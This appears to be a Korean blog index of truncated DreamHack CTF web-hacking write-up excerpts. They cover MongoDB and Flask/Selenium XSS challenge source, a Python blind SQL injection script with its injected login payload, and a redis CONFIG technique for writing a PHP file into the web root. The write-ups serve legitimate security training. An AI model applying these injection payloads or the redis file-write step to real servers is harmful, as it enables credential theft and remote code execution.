Mongodb로 작성된 사이트이다. const express = require('express'); const app = express(); const mongoose = require('mongoose'); mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true }); const db = mongoose.connection; // flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'} const BAN = ['admin', 'dh', 'admi']; filter = function(data){ const dump = JSON.string..
Web Hacking/DreamHack
dreamhack의 simple_sqli를 blind sql injection으로 풀어보았다. import requests URL="http://host3.dreamhack.games:11344/login" #비밀번호 길이 password_length = 0 ''' def binsearch(low: int, high: int): while 1: mid = (low + high) // 2 if low + 1 >= high: break data = {"userid" : f"admin\" and length(userpassword) < {mid} -- ", "userpassword" : 1} r = requests.post(URL, data=data) if "admin" in r.text: high = mid..
#!/usr/bin/python3 from flask import Flask, request, render_template from selenium import webdriver from selenium.webdriver.chrome.service import Service import urllib import os app = Flask(__name__) app.secret_key = os.urandom(32) try: FLAG = open("./flag.txt", "r").read() except: FLAG = "[**FLAG**]" def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0..
#!/usr/bin/python3 from flask import Flask, request, render_template from selenium import webdriver from selenium.webdriver.chrome.service import Service import urllib import os app = Flask(__name__) app.secret_key = os.urandom(32) try: FLAG = open("./flag.txt", "r").read() except: FLAG = "[**FLAG**]" def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0..
이 문제를 풀기 위해 알아야 할 점은 다음과 같다. - redis는 명령어를 이용해 메모리 데이터를 저장하는 파일의 저장 주기를 지정 가능하다. - 저장되는 파일의 경로와 이름, 그리고 데이터도 함꼐 설정 가능하다. - eval 명령어를 통해 lua 스크립트를 실행 시킬 수 있다. 먼저 데이터 저장이 되는 파일을 알기 위해 config.php에서 dir을 get해보면 {"dir":"\/var\/www\/html"} 임을 알 수 있다. html 경로에 있으니 냅두고 dbfilename을 redis.php로 set해준다. 그 후 데이터 저장 주기도 설정해줘야 하는데 계속 저장되는게 좋으니 save 60 0 으로 set해준다. (60초 이내에 0개 이상 데이터가 변경되면 저장한다.) 그 후 redis.php에..